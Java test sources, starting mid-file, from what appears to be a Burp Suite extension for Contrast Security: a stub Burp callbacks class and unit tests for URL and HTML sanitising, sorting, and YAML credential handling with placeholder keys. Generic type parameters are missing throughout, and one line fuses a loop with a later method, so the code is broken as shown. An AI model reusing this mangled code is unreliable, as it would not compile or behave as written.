215 | private DefaultTableModel getTable(List paths, List selectedPaths,List verbs) {
216 | DefaultTableModel routeTable = new DefaultTableModel();
217 | routeTable.setColumnIdentifiers(ContrastTab.ROUTE_TABLE_COL_NAMES);
218 | for(int i =0;i routes) {
239 | return new TSReader(getTestCreds(),null,null,null) {
240 | @Override
241 | public Optional getRoutes(String orgID, String appID) {
242 | return routes;
243 | }
244 | };
245 | }
246 |
247 | private List getTestCreds() {
248 | return Collections.singletonList(new TSCreds("http://example.com","example","example","example"));
249 | }
250 |
251 | private DataModel getDataModel(String appName, String appID) {
252 | DataModel dataModel = new DataModel();
253 | dataModel.getTsCreds().addAll(getTestCreds());
254 | dataModel.getAppNameIDMap().put(appName,appID);
255 | return dataModel;
256 | }
257 |
258 | private Logger getSystemOutLogger() {
259 | return new Logger(new PrintWriter(System.out),new PrintWriter(System.err));
260 | }
261 |
262 |
263 |
264 | }
--------------------------------------------------------------------------------
/src/test/java/burp/TestableCallBack.java:
--------------------------------------------------------------------------------
1 | package burp;
2 |
3 | import java.awt.*;
4 | import java.io.File;
5 | import java.io.OutputStream;
6 | import java.net.URL;
7 | import java.util.ArrayList;
8 | import java.util.List;
9 | import java.util.Map;
10 |
11 | public class TestableCallBack implements IBurpExtenderCallbacks {
12 |
13 | private List requestResponses = new ArrayList<>();
14 |
15 | private List scanIssues = new ArrayList<>();
16 |
17 | public List getScanIssues() {
18 | return scanIssues;
19 | }
20 |
21 | public List getRequestResponses() {
22 | return requestResponses;
23 | }
24 |
25 | @Override
26 | public void setExtensionName(String name) {
27 |
28 | }
29 |
30 | @Override
31 | public IExtensionHelpers getHelpers() {
32 | return null;
33 | }
34 |
35 | @Override
36 | public OutputStream getStdout() {
37 | return System.out;
38 | }
39 |
40 | @Override
41 | public OutputStream getStderr() {
42 | return System.err;
43 | }
44 |
45 | @Override
46 | public void printOutput(String output) {
47 |
48 | }
49 |
50 | @Override
51 | public void printError(String error) {
52 |
53 | }
54 |
55 | @Override
56 | public void registerExtensionStateListener(IExtensionStateListener listener) {
57 |
58 | }
59 |
60 | @Override
61 | public List getExtensionStateListeners() {
62 | return null;
63 | }
64 |
65 | @Override
66 | public void removeExtensionStateListener(IExtensionStateListener listener) {
67 |
68 | }
69 |
70 | @Override
71 | public void registerHttpListener(IHttpListener listener) {
72 |
73 | }
74 |
75 | @Override
76 | public List getHttpListeners() {
77 | return null;
78 | }
79 |
80 | @Override
81 | public void removeHttpListener(IHttpListener listener) {
82 |
83 | }
84 |
85 | @Override
86 | public void registerProxyListener(IProxyListener listener) {
87 |
88 | }
89 |
90 | @Override
91 | public List getProxyListeners() {
92 | return null;
93 | }
94 |
95 | @Override
96 | public void removeProxyListener(IProxyListener listener) {
97 |
98 | }
99 |
100 | @Override
101 | public void registerScannerListener(IScannerListener listener) {
102 |
103 | }
104 |
105 | @Override
106 | public List getScannerListeners() {
107 | return null;
108 | }
109 |
110 | @Override
111 | public void removeScannerListener(IScannerListener listener) {
112 |
113 | }
114 |
115 | @Override
116 | public void registerScopeChangeListener(IScopeChangeListener listener) {
117 |
118 | }
119 |
120 | @Override
121 | public List getScopeChangeListeners() {
122 | return null;
123 | }
124 |
125 | @Override
126 | public void removeScopeChangeListener(IScopeChangeListener listener) {
127 |
128 | }
129 |
130 | @Override
131 | public void registerContextMenuFactory(IContextMenuFactory factory) {
132 |
133 | }
134 |
135 | @Override
136 | public List getContextMenuFactories() {
137 | return null;
138 | }
139 |
140 | @Override
141 | public void removeContextMenuFactory(IContextMenuFactory factory) {
142 |
143 | }
144 |
145 | @Override
146 | public void registerMessageEditorTabFactory(IMessageEditorTabFactory factory) {
147 |
148 | }
149 |
150 | @Override
151 | public List getMessageEditorTabFactories() {
152 | return null;
153 | }
154 |
155 | @Override
156 | public void removeMessageEditorTabFactory(IMessageEditorTabFactory factory) {
157 |
158 | }
159 |
160 | @Override
161 | public void registerScannerInsertionPointProvider(IScannerInsertionPointProvider provider) {
162 |
163 | }
164 |
165 | @Override
166 | public List getScannerInsertionPointProviders() {
167 | return null;
168 | }
169 |
170 | @Override
171 | public void removeScannerInsertionPointProvider(IScannerInsertionPointProvider provider) {
172 |
173 | }
174 |
175 | @Override
176 | public void registerScannerCheck(IScannerCheck check) {
177 |
178 | }
179 |
180 | @Override
181 | public List getScannerChecks() {
182 | return null;
183 | }
184 |
185 | @Override
186 | public void removeScannerCheck(IScannerCheck check) {
187 |
188 | }
189 |
190 | @Override
191 | public void registerIntruderPayloadGeneratorFactory(IIntruderPayloadGeneratorFactory factory) {
192 |
193 | }
194 |
195 | @Override
196 | public List getIntruderPayloadGeneratorFactories() {
197 | return null;
198 | }
199 |
200 | @Override
201 | public void removeIntruderPayloadGeneratorFactory(IIntruderPayloadGeneratorFactory factory) {
202 |
203 | }
204 |
205 | @Override
206 | public void registerIntruderPayloadProcessor(IIntruderPayloadProcessor processor) {
207 |
208 | }
209 |
210 | @Override
211 | public List getIntruderPayloadProcessors() {
212 | return null;
213 | }
214 |
215 | @Override
216 | public void removeIntruderPayloadProcessor(IIntruderPayloadProcessor processor) {
217 |
218 | }
219 |
220 | @Override
221 | public void registerSessionHandlingAction(ISessionHandlingAction action) {
222 |
223 | }
224 |
225 | @Override
226 | public List getSessionHandlingActions() {
227 | return null;
228 | }
229 |
230 | @Override
231 | public void removeSessionHandlingAction(ISessionHandlingAction action) {
232 |
233 | }
234 |
235 | @Override
236 | public void unloadExtension() {
237 |
238 | }
239 |
240 | @Override
241 | public void addSuiteTab(ITab tab) {
242 |
243 | }
244 |
245 | @Override
246 | public void removeSuiteTab(ITab tab) {
247 |
248 | }
249 |
250 | @Override
251 | public void customizeUiComponent(Component component) {
252 |
253 | }
254 |
255 | @Override
256 | public IMessageEditor createMessageEditor(IMessageEditorController controller, boolean editable) {
257 | return null;
258 | }
259 |
260 | @Override
261 | public String[] getCommandLineArguments() {
262 | return new String[0];
263 | }
264 |
265 | @Override
266 | public void saveExtensionSetting(String name, String value) {
267 |
268 | }
269 |
270 | @Override
271 | public String loadExtensionSetting(String name) {
272 | return null;
273 | }
274 |
275 | @Override
276 | public ITextEditor createTextEditor() {
277 | return null;
278 | }
279 |
280 | @Override
281 | public void sendToRepeater(String host, int port, boolean useHttps, byte[] request, String tabCaption) {
282 |
283 | }
284 |
285 | @Override
286 | public void sendToIntruder(String host, int port, boolean useHttps, byte[] request) {
287 |
288 | }
289 |
290 | @Override
291 | public void sendToIntruder(String host, int port, boolean useHttps, byte[] request, List payloadPositionOffsets) {
292 |
293 | }
294 |
295 | @Override
296 | public void sendToComparer(byte[] data) {
297 |
298 | }
299 |
300 | @Override
301 | public void sendToSpider(URL url) {
302 |
303 | }
304 |
305 | @Override
306 | public IScanQueueItem doActiveScan(String host, int port, boolean useHttps, byte[] request) {
307 | return null;
308 | }
309 |
310 | @Override
311 | public IScanQueueItem doActiveScan(String host, int port, boolean useHttps, byte[] request, List insertionPointOffsets) {
312 | return null;
313 | }
314 |
315 | @Override
316 | public void doPassiveScan(String host, int port, boolean useHttps, byte[] request, byte[] response) {
317 |
318 | }
319 |
320 | @Override
321 | public IHttpRequestResponse makeHttpRequest(IHttpService httpService, byte[] request) {
322 | return null;
323 | }
324 |
325 | @Override
326 | public IHttpRequestResponse makeHttpRequest(IHttpService httpService, byte[] request, boolean forceHttp1) {
327 | return null;
328 | }
329 |
330 | @Override
331 | public byte[] makeHttpRequest(String host, int port, boolean useHttps, byte[] request) {
332 | return new byte[0];
333 | }
334 |
335 | @Override
336 | public byte[] makeHttpRequest(String host, int port, boolean useHttps, byte[] request, boolean forceHttp1) {
337 | return new byte[0];
338 | }
339 |
340 | @Override
341 | public byte[] makeHttp2Request(IHttpService httpService, List headers, byte[] body) {
342 | return new byte[0];
343 | }
344 |
345 | @Override
346 | public byte[] makeHttp2Request(IHttpService httpService, List headers, byte[] body, boolean forceHttp2) {
347 | return new byte[0];
348 | }
349 |
350 | @Override
351 | public byte[] makeHttp2Request(IHttpService httpService, List headers, byte[] body, boolean forceHttp2, String connectionIdentifier) {
352 | return new byte[0];
353 | }
354 |
355 | @Override
356 | public boolean isInScope(URL url) {
357 | return false;
358 | }
359 |
360 | @Override
361 | public void includeInScope(URL url) {
362 |
363 | }
364 |
365 | @Override
366 | public void excludeFromScope(URL url) {
367 |
368 | }
369 |
370 | @Override
371 | public void issueAlert(String message) {
372 |
373 | }
374 |
375 | @Override
376 | public IHttpRequestResponse[] getProxyHistory() {
377 | return new IHttpRequestResponse[0];
378 | }
379 |
380 | @Override
381 | public IHttpRequestResponse[] getSiteMap(String urlPrefix) {
382 | return new IHttpRequestResponse[0];
383 | }
384 |
385 | @Override
386 | public IScanIssue[] getScanIssues(String urlPrefix) {
387 | return new IScanIssue[0];
388 | }
389 |
390 | @Override
391 | public void generateScanReport(String format, IScanIssue[] issues, File file) {
392 |
393 | }
394 |
395 | @Override
396 | public List getCookieJarContents() {
397 | return null;
398 | }
399 |
400 | @Override
401 | public void updateCookieJar(ICookie cookie) {
402 |
403 | }
404 |
405 | @Override
406 | public void addToSiteMap(IHttpRequestResponse item) {
407 | requestResponses.add(item);
408 | }
409 |
410 | @Override
411 | public void restoreState(File file) {
412 |
413 | }
414 |
415 | @Override
416 | public void saveState(File file) {
417 |
418 | }
419 |
420 | @Override
421 | public Map saveConfig() {
422 | return null;
423 | }
424 |
425 | @Override
426 | public void loadConfig(Map config) {
427 |
428 | }
429 |
430 | @Override
431 | public String saveConfigAsJson(String... configPaths) {
432 | return null;
433 | }
434 |
435 | @Override
436 | public void loadConfigFromJson(String config) {
437 |
438 | }
439 |
440 | @Override
441 | public void setProxyInterceptionEnabled(boolean enabled) {
442 |
443 | }
444 |
445 | @Override
446 | public String[] getBurpVersion() {
447 | return new String[0];
448 | }
449 |
450 | @Override
451 | public String getExtensionFilename() {
452 | return null;
453 | }
454 |
455 | @Override
456 | public boolean isExtensionBapp() {
457 | return false;
458 | }
459 |
460 | @Override
461 | public void exitSuite(boolean promptUser) {
462 |
463 | }
464 |
465 | @Override
466 | public ITempFile saveToTempFile(byte[] buffer) {
467 | return null;
468 | }
469 |
470 | @Override
471 | public IHttpRequestResponsePersisted saveBuffersToTempFiles(IHttpRequestResponse httpRequestResponse) {
472 | return null;
473 | }
474 |
475 | @Override
476 | public IHttpRequestResponseWithMarkers applyMarkers(IHttpRequestResponse httpRequestResponse, List requestMarkers, List responseMarkers) {
477 | return null;
478 | }
479 |
480 | @Override
481 | public String getToolName(int toolFlag) {
482 | return null;
483 | }
484 |
485 | @Override
486 | public void addScanIssue(IScanIssue issue) {
487 | scanIssues.add(issue);
488 | }
489 |
490 | @Override
491 | public IBurpCollaboratorClientContext createBurpCollaboratorClientContext() {
492 | return null;
493 | }
494 |
495 | @Override
496 | public String[][] getParameters(byte[] request) {
497 | return new String[0][];
498 | }
499 |
500 | @Override
501 | public String[] getHeaders(byte[] message) {
502 | return new String[0];
503 | }
504 |
505 | @Override
506 | public void registerMenuItem(String menuItemCaption, IMenuItemHandler menuItemHandler) {
507 |
508 | }
509 | }
510 |
--------------------------------------------------------------------------------
/src/test/java/com/contrast/HTMLSanitiserTest.java:
--------------------------------------------------------------------------------
1 | package com.contrast;
2 |
3 | import org.junit.Test;
4 |
5 | import static org.junit.Assert.*;
6 |
7 | public class HTMLSanitiserTest {
8 |
9 |
10 |
11 | @Test
12 | public void testWithValidHTML() {
13 | String data = "some data example link ";
14 | HTMLSanitiser sanitiser = new HTMLSanitiser();
15 | assertEquals(data,sanitiser.sanitiseHTML(data));
16 | }
17 |
18 |
19 | @Test
20 | public void testWithXSSInjection() {
21 | String data = "some data example link ";
22 | HTMLSanitiser sanitiser = new HTMLSanitiser();
23 | assertEquals("some data example link ",sanitiser.sanitiseHTML(data));
24 | }
25 |
26 |
27 |
28 | }
--------------------------------------------------------------------------------
/src/test/java/com/contrast/RequestResponseGeneratorTest.java:
--------------------------------------------------------------------------------
1 | package com.contrast;
2 |
3 | import org.junit.Test;
4 |
5 | import static org.junit.Assert.*;
6 |
7 | public class RequestResponseGeneratorTest {
8 |
9 |
10 | @Test
11 | public void testNormalisedPathWithNoAppContext() {
12 | RequestResponseGenerator generator = new RequestResponseGenerator();
13 | String normalisedPath = generator.getNormalisedPath("","/location.html");
14 | assertEquals("/location.html",normalisedPath);
15 | }
16 |
17 | @Test
18 | public void testNormalisedPathWithNullAppContext() {
19 | RequestResponseGenerator generator = new RequestResponseGenerator();
20 | String normalisedPath = generator.getNormalisedPath(null,"/location.html");
21 | assertEquals("/location.html",normalisedPath);
22 | }
23 |
24 | @Test
25 | public void testNormalisedPathWithSingleSlashAppContext() {
26 | RequestResponseGenerator generator = new RequestResponseGenerator();
27 | String normalisedPath = generator.getNormalisedPath("/","/location.html");
28 | assertEquals("/location.html",normalisedPath);
29 | }
30 |
31 | @Test
32 | public void testNormalisedPathWithAppContext() {
33 | RequestResponseGenerator generator = new RequestResponseGenerator();
34 | String normalisedPath = generator.getNormalisedPath("/path","/location.html");
35 | assertEquals("/path/location.html",normalisedPath);
36 | }
37 | }
--------------------------------------------------------------------------------
/src/test/java/com/contrast/SortByAppNameComparatorTest.java:
--------------------------------------------------------------------------------
1 | package com.contrast;
2 |
3 | import com.contrastsecurity.models.Application;
4 | import com.google.gson.Gson;
5 | import com.google.gson.JsonObject;
6 | import org.junit.Test;
7 |
8 | import java.util.Arrays;
9 | import java.util.List;
10 |
11 | import static org.junit.Assert.*;
12 |
13 | public class SortByAppNameComparatorTest {
14 |
15 | @Test
16 | public void testWithApplicationList() {
17 | List applications = getApplicationList();
18 | applications.sort(new SortByAppNameComparator());
19 | assertEquals("AppA",applications.get(0).getName());
20 | assertEquals("AppB",applications.get(1).getName());
21 | assertEquals("AppC",applications.get(2).getName());
22 |
23 | }
24 |
25 | private List getApplicationList() {
26 | return Arrays.asList(getApplication("AppC",1l),getApplication("AppA",2l),getApplication("AppB",3l));
27 | }
28 |
29 | private Application getApplication(String appName, Long lastSeen) {
30 | Gson gson = new Gson();
31 | JsonObject jsonObject = new JsonObject();
32 | jsonObject.addProperty("name",appName);
33 | jsonObject.addProperty("last_seen",lastSeen);
34 | return gson.fromJson(jsonObject,Application.class);
35 | }
36 |
37 | }
--------------------------------------------------------------------------------
/src/test/java/com/contrast/SortByLastSeenComparatorTest.java:
--------------------------------------------------------------------------------
1 | package com.contrast;
2 |
3 | import com.contrastsecurity.models.Application;
4 | import com.google.gson.Gson;
5 | import com.google.gson.JsonObject;
6 | import org.junit.Test;
7 |
8 | import java.util.Arrays;
9 | import java.util.List;
10 |
11 | import static org.junit.Assert.*;
12 |
13 | public class SortByLastSeenComparatorTest {
14 |
15 |
16 | @Test
17 | public void testWithApplicationList() {
18 | List applications = getApplicationList();
19 | applications.sort(new SortByLastSeenComparator());
20 | assertEquals("appthree",applications.get(0).getName());
21 | assertEquals("apptwo",applications.get(1).getName());
22 | assertEquals("appone",applications.get(2).getName());
23 |
24 | }
25 |
26 | private List getApplicationList() {
27 | return Arrays.asList(getApplication("appone",1l),getApplication("apptwo",2l),getApplication("appthree",3l));
28 | }
29 |
30 | private Application getApplication(String appName, Long lastSeen) {
31 | Gson gson = new Gson();
32 | JsonObject jsonObject = new JsonObject();
33 | jsonObject.addProperty("name",appName);
34 | jsonObject.addProperty("last_seen",lastSeen);
35 | return gson.fromJson(jsonObject,Application.class);
36 | }
37 |
38 | }
--------------------------------------------------------------------------------
/src/test/java/com/contrast/TSVulnLinkGeneratorTest.java:
--------------------------------------------------------------------------------
1 | package com.contrast;
2 |
3 | import org.junit.Test;
4 |
5 | import static org.junit.Assert.*;
6 |
7 | public class TSVulnLinkGeneratorTest {
8 |
9 | @Test
10 | public void testLinkGenerator() {
11 | String result = new TSVulnLinkGenerator().getURL("https://example.contrastsecurity.com/Contrast","123-456-789","987-654-321","abc-def-ghi");
12 | assertEquals("https://example.contrastsecurity.com/Contrast/static/ng/index.html#/123-456-789/applications/987-654-321/vulns/abc-def-ghi",result);
13 | }
14 |
15 | }
--------------------------------------------------------------------------------
/src/test/java/com/contrast/YamlReaderTest.java:
--------------------------------------------------------------------------------
1 | package com.contrast;
2 |
3 | import org.junit.Test;
4 |
5 | import java.io.File;
6 | import java.io.IOException;
7 | import java.net.URISyntaxException;
8 | import java.util.List;
9 |
10 | import static org.junit.Assert.*;
11 |
12 | public class YamlReaderTest {
13 |
14 |
15 | @Test
16 | public void testWithValidYaml() throws IOException, URISyntaxException {
17 | File contrastFile = new File(YamlReaderTest.class.getResource("/contrast_security.yaml").toURI());
18 | YamlReader reader = new YamlReader();
19 | List optCreds = reader.parseContrastYaml(contrastFile);
20 | assertTrue(!optCreds.isEmpty());
21 | TSCreds creds = optCreds.get(0);
22 | assertEquals("https://example.contrastsecurity.com/Contrast",creds.getUrl());
23 | assertEquals("aaabbbccc",creds.getApiKey());
24 | assertEquals("aaabbbcccddd",creds.getServiceKey());
25 | assertEquals("aaabbbccc@ContrastSecurity",creds.getUserName());
26 | }
27 |
28 | }
--------------------------------------------------------------------------------
/src/test/java/com/contrast/YamlWriterTest.java:
--------------------------------------------------------------------------------
1 | package com.contrast;
2 |
3 | import org.junit.Test;
4 |
5 | import java.io.IOException;
6 | import java.nio.file.Files;
7 | import java.nio.file.Path;
8 | import java.util.Arrays;
9 | import java.util.Collections;
10 | import java.util.List;
11 |
12 | import static org.junit.Assert.*;
13 |
14 | public class YamlWriterTest {
15 |
16 |
17 | @Test
18 | public void writeWithSingleCred() throws IOException {
19 | Path tmpYamlFile = getTmpYamlFile();
20 | try {
21 | TSCreds creds = new TSCreds("https://example.contrast.com/Contrast", "AAABBBCCC", "DDDEEEFFF", "example@example.com", "GGGHHHIII");
22 | YamlWriter writer = new YamlWriter();
23 | writer.writeYamlFile(Collections.singletonList(creds),tmpYamlFile);
24 | assertTrue(tmpYamlFile.toFile().exists());
25 | assertTrue(tmpYamlFile.toFile().length()>0);
26 | YamlReader reader = new YamlReader();
27 | List readCreds = reader.parseContrastYaml(tmpYamlFile.toFile());
28 | assertTrue(!readCreds.isEmpty());
29 | assertTrue(creds.equals(readCreds.get(0)));
30 | } finally {
31 | if(tmpYamlFile!=null&&tmpYamlFile.toFile().exists()) {
32 | tmpYamlFile.toFile().delete();
33 | }
34 | }
35 |
36 | }
37 |
38 | @Test
39 | public void writeWithMultipleOrgs() throws IOException {
40 | Path tmpYamlFile = getTmpYamlFile();
41 | try {
42 | TSCreds creds = new TSCreds("https://example.contrast.com/Contrast", "AAABBBCCC", "DDDEEEFFF", "example@example.com", "GGGHHHIII");
43 | TSCreds creds2 = new TSCreds("https://example.contrast.com/Contrast", "DFKJDFKJDFK3", "DDDFFFGGGHHH", "example@example.com", "DFDFDFDFDF");
44 |
45 | YamlWriter writer = new YamlWriter();
46 | writer.writeYamlFile(Arrays.asList(creds,creds2),tmpYamlFile);
47 | assertTrue(tmpYamlFile.toFile().exists());
48 | assertTrue(tmpYamlFile.toFile().length()>0);
49 | YamlReader reader = new YamlReader();
50 | List readCreds = reader.parseContrastYaml(tmpYamlFile.toFile());
51 | assertEquals(2,readCreds.size());
52 | assertTrue(creds.equals(readCreds.get(0)));
53 | assertTrue(creds2.equals(readCreds.get(1)));
54 | } finally {
55 | if(tmpYamlFile!=null&&tmpYamlFile.toFile().exists()) {
56 | tmpYamlFile.toFile().delete();
57 | }
58 | }
59 |
60 | }
61 |
62 |
63 | private Path getTmpYamlFile() throws IOException {
64 | return Files.createTempFile("yamlwritertest","yaml");
65 | }
66 |
67 |
68 | }
--------------------------------------------------------------------------------
/src/test/java/com/contrast/threads/TSURLSanitiserTest.java:
--------------------------------------------------------------------------------
1 | package com.contrast.threads;
2 |
3 | import com.contrast.Logger;
4 | import org.junit.Test;
5 |
6 | import java.io.OutputStream;
7 | import java.io.PrintWriter;
8 | import java.net.MalformedURLException;
9 |
10 | import static org.junit.Assert.*;
11 |
12 | public class TSURLSanitiserTest {
13 |
14 | @Test
15 | public void testWithGoodURL() throws MalformedURLException {
16 | String url = "https://example.contrastsecurity.com/Contrast";
17 | assertEquals(url,TSURLSanitiser.getSanitisedURL(url,getLogger()));
18 | }
19 |
20 |
21 | @Test
22 | public void testWithNoProtocol() throws MalformedURLException {
23 | String url = "example.contrastsecurity.com/Contrast";
24 | String expectedURL = "https://example.contrastsecurity.com/Contrast";
25 | assertEquals(expectedURL,TSURLSanitiser.getSanitisedURL(url,getLogger()));
26 | }
27 |
28 | @Test
29 | public void testWithHTTPProtocol() throws MalformedURLException {
30 | String url = "http://example.contrastsecurity.com/Contrast";
31 | String expectedURL = "http://example.contrastsecurity.com/Contrast";
32 | assertEquals(expectedURL,TSURLSanitiser.getSanitisedURL(url,getLogger()));
33 | }
34 |
35 | @Test
36 | public void testWithNoRootContextProtocol() throws MalformedURLException {
37 | String url = "https://example.contrastsecurity.com/";
38 | String expectedURL = "https://example.contrastsecurity.com/Contrast";
39 | assertEquals(expectedURL,TSURLSanitiser.getSanitisedURL(url,getLogger()));
40 | }
41 |
42 | @Test
43 | public void testWithNoRootContextProtocolAndNoTrailingSlash() throws MalformedURLException {
44 | String url = "https://example.contrastsecurity.com";
45 | String expectedURL = "https://example.contrastsecurity.com/Contrast";
46 | assertEquals(expectedURL,TSURLSanitiser.getSanitisedURL(url,getLogger()));
47 | }
48 |
49 | @Test
50 | public void testWithNoProtocolNoRootContextProtocolAndNoTrailingSlash() throws MalformedURLException {
51 | String url = "example.contrastsecurity.com";
52 | String expectedURL = "https://example.contrastsecurity.com/Contrast";
53 | assertEquals(expectedURL,TSURLSanitiser.getSanitisedURL(url,getLogger()));
54 | }
55 |
56 | @Test
57 | public void testWithNoProtocolRootContextProtocolAndTrailingSlash() throws MalformedURLException {
58 | String url = "example.contrastsecurity.com/Contrast/";
59 | String expectedURL = "https://example.contrastsecurity.com/Contrast";
60 | assertEquals(expectedURL,TSURLSanitiser.getSanitisedURL(url,getLogger()));
61 | }
62 |
63 | @Test
64 | public void testWithProtocolRootContextProtocolAndTrailingSlash() throws MalformedURLException {
65 | String url = "https://example.contrastsecurity.com/Contrast/";
66 | String expectedURL = "https://example.contrastsecurity.com/Contrast";
67 | assertEquals(expectedURL,TSURLSanitiser.getSanitisedURL(url,getLogger()));
68 | }
69 |
70 | @Test
71 | public void testWithNonStandardPath() throws MalformedURLException {
72 | String url = "https://example.flibber.com/bla/Contrast";
73 | String expectedURL = "https://example.flibber.com/bla/Contrast";
74 | assertEquals(expectedURL,TSURLSanitiser.getSanitisedURL(url,getLogger()));
75 | }
76 |
77 | @Test
78 | public void testWithNonStandardPathWithTrailingSlash() throws MalformedURLException {
79 | String url = "https://example.flibber.com/bla/Contrast/";
80 | String expectedURL = "https://example.flibber.com/bla/Contrast";
81 | assertEquals(expectedURL,TSURLSanitiser.getSanitisedURL(url,getLogger()));
82 | }
83 |
84 | private Logger getLogger() {
85 | return new Logger(new PrintWriter(OutputStream.nullOutputStream()),new PrintWriter(OutputStream.nullOutputStream()));
86 | }
87 |
88 | }
--------------------------------------------------------------------------------
/src/test/resources/contrast_security.yaml:
--------------------------------------------------------------------------------
1 | api:
2 | url: https://example.contrastsecurity.com/Contrast
3 | api_key: aaabbbccc
4 | service_key: aaabbbcccddd
5 | user_name: aaabbbccc@ContrastSecurity
--------------------------------------------------------------------------------